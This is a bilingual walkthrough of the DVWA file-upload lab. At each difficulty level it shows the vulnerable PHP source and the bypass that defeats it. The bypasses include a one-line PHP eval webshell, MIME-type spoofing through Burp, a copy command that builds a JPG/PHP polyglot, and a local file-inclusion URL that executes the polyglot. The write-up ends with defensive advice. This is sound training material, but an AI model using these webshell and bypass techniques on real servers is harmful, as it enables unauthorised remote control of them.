File Upload(文件上傳)
Uploaded files represent a significant risk to web applications. The first step in many attacks is to get some code to the system to be attacked. Then the attacker only needs to find a way to get the code executed. Using a file upload helps the attacker accomplish the first step.
上傳的文件對 web 應用程序來說是一個巨大的風險,許多攻擊的第一步是上傳攻擊代碼到被攻擊的系統上,然后攻擊者只需要找到方法來執行代碼即可完成攻擊。也就是是說,文件上傳是攻擊者需要完成的第一步。
The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system, forwarding attacks to backend systems, and simple defacement. It depends on what the application does with the uploaded file, including where it is stored.
不受限制的文件上載的后果可能不同,包括完全接管系統、文件系統過載、將攻擊轉發到后端系統以及簡單的破壞。這取決於應用程序對上載的文件做了什么,和文件的存儲位置。
Execute any PHP function of your choosing on the target system (such as phpinfo() or system()) thanks to this file upload vulnerability.
利用文件上傳漏洞,在目標系統(例如 phpinfo() 或 system())上執行您選擇的任何 PHP 函數。
Low Level
Low level will not check the contents of the file being uploaded in any way. It relies only on trust.
Low level 不會以任何方式檢查正在上載的文件的內容,它信任雖有上傳的文件。
源碼審計
源碼如下,basename(path,suffix) 函數返回路徑中的文件名部分,如果可選參數 suffix 為空則返回的文件名包含后綴名,反之不包含后綴名。move_uploaded_file() 函數將上傳的文件移動到新位置。若成功則返回 true,否則返回 false。由此可見源碼對上傳文件直接移動,而文件的類型、內容沒有做任何的檢查、過濾。
<?php
if(isset($_POST['Upload'])){
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename($_FILES['uploaded']['name']);
// Can we move the file to the upload folder?
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)){
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
攻擊方式
由於沒有任何的過濾,因此我們可以直接上傳一個一句話木馬。
<?php @eval($_POST['attack']) ?>
直接上傳,網頁沒有進行過濾,直接返回了上傳成功的信息。
打開蟻劍,使用上傳的一句話木馬進行連接,直接 Webshell。此時可以隨意訪問服務器上的任意文件,進行任意操作。
Medium Level
When using the medium level, it will check the reported file type from the client when its being uploaded.
在中等級的頁面下,將在上傳時檢查客戶端報告的文件類型。
源碼審計
源碼如下,FILES 是一個已經棄用的 HTTP 文件上傳變量,它是一個通過 HTTP POST 方式上傳到當前腳本的項目的數組。由此可見源碼會獲取文件的文件名、文件類型和文件大小,它要求文件類型必須是 jpeg 或者 png,同時限制文件大小不能超過 100000B(約為97.6KB)。
<?php
if(isset($_POST['Upload'])){
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename($_FILES['uploaded']['name']);
// File information
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_type = $_FILES['uploaded']['type'];
$uploaded_size = $_FILES['uploaded']['size'];
// Is it an image?
if(($uploaded_type == "image/jpeg" || $uploaded_type == "image/png") && ($uploaded_size < 100000)){
// Can we move the file to the upload folder?
if(!move_uploaded_file( $_FILES['uploaded']['tmp_name'], $target_path)){
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else{
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else{
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
此時我們再直接傳輸上面的一句話木馬,會發現上傳失敗。
攻擊方式
我們還是先做個一句話木馬,然后用 brup 抓包,看到上傳的 PHP 文件類型會被顯示在包中。
修改文件類型為 “image/png”,然后放包。
可以看到雖然我們傳的還是一句話木馬,但是通過修改 http 報文可以通過網頁的白名單檢測,再次蟻劍連接即可。
High Level
Once the file has been received from the client, the server will try to resize any image that was included in the request.
當服務器從客戶端接收到文件,它將嘗試調整請求中包含的任何圖像的大小。
源碼審計
源碼如下,strrpos(string,find,start) 函數返回字符串 find 在另一字符串 string 中最后一次出現的位置,如果沒有找到字符串則返回 false,可選參數 start 規定在何處開始搜索。getimagesize(string filename) 函數會通過讀取文件頭,返回圖片的長、寬等信息,如果沒有相關的圖片文件頭則報錯。源碼通過字符串匹配來確定文件后綴名,並且查看文件的相關參數,提高了過濾的強度。
<?php
if(isset($_POST['Upload'])){
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename($_FILES['uploaded']['name']);
// File information
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr( $uploaded_name, strrpos($uploaded_name, '.') + 1);
$uploaded_size = $_FILES['uploaded']['size'];
$uploaded_tmp = $_FILES['uploaded']['tmp_name'];
// Is it an image?
if((strtolower($uploaded_ext) == "jpg" || strtolower($uploaded_ext) == "jpeg" || strtolower($uploaded_ext) == "png")
&&($uploaded_size < 100000) && getimagesize( $uploaded_tmp)){
// Can we move the file to the upload folder?
if(!move_uploaded_file($uploaded_tmp, $target_path)){
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else{
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else{
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
攻擊方式
由於源碼會去檢查文件頭,現在我們不能再傳 php 文件了,應該把一句話木馬包在一張圖片里面。
首先我們要准備一張圖片和一句話木馬,然后使用 copy 命令把兩個文件合成為一個文件。
copy 1.jpg/b + 1.php/a 2.jpg
然后直接上傳,網頁提示上傳成功。但是此時是不能用蟻劍連接的,因為蟻劍的原理是向上傳文件發送包含參數的 post 請求,通過控制參數來執行不同的命令。這里服務器將木馬文件解析成了圖片文件,因此向其發送 post 請求時,服務器並不會執行相應命令。
因此我們要把這張圖片當做 php 來執行才行,這時我們想到了 File Inclusion(文件包含) 漏洞,構造 payload。
http://localhost/dvwa-master/vulnerabilities/fi/?page=file:///D:\DVWA-master\hackable\uploads\2.jpg
訪問下看看,可以看到這個 url 使得一句話木馬被解析,也就是說這個時候就可以使用蟻劍連接。
Impossible Level
This will check everything from all the levels so far, as well then to re-encode the image. This will make a new image, therefor stripping any "non-image" code (including metadata).
到目前為止,源碼將檢查所有級別的所有內容。
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
源碼如下,Impossible 級別的代碼對上傳文件進行了重命名,並加入 Anti-CSRF token 防護 CSRF 攻擊,同時使用上訴所有機制對文件的內容,導致攻擊者無法上傳木馬文件。
總結與防御
在向網頁上傳文件時,如果服務器端代碼未對客戶端上傳的文件進行嚴格的驗證和過濾,就容易被上傳上來的腳本文件等木馬攻擊。這類腳本稱之為 WebShell,用戶可以利用這種惡意腳本查看服務器目錄、修改服務器文件和執行系統命令等。
為了防御這種攻擊,可以使用白名單判斷文件類型和后綴是否合法,同時對上傳后的文件進行重命名防止被攻擊者利用。